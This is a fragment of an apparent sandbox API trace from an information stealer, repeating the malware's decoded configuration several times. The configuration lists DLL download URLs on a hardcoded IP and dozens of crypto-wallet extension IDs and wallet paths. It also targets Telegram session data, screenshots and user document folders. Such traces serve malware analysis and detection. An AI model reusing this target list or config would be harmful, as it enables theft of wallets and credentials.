Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5032 [0258.798] lstrlenW (lpString="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5032 [0258.798] LocalAlloc (uFlags=0x40, uBytes=0x2750) returned 0x6b9720 [0258.799] lstrlenW (lpString="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5032 [0258.799] LocalAlloc (uFlags=0x40, uBytes=0x2750) returned 0x6bbe78 [0258.799] lstrlenW (lpString="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5032 [0258.799] LocalAlloc (uFlags=0x40, uBytes=0x2750) returned 0x6be5d0 [0258.799] StrStrW (lpFirst="libs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension 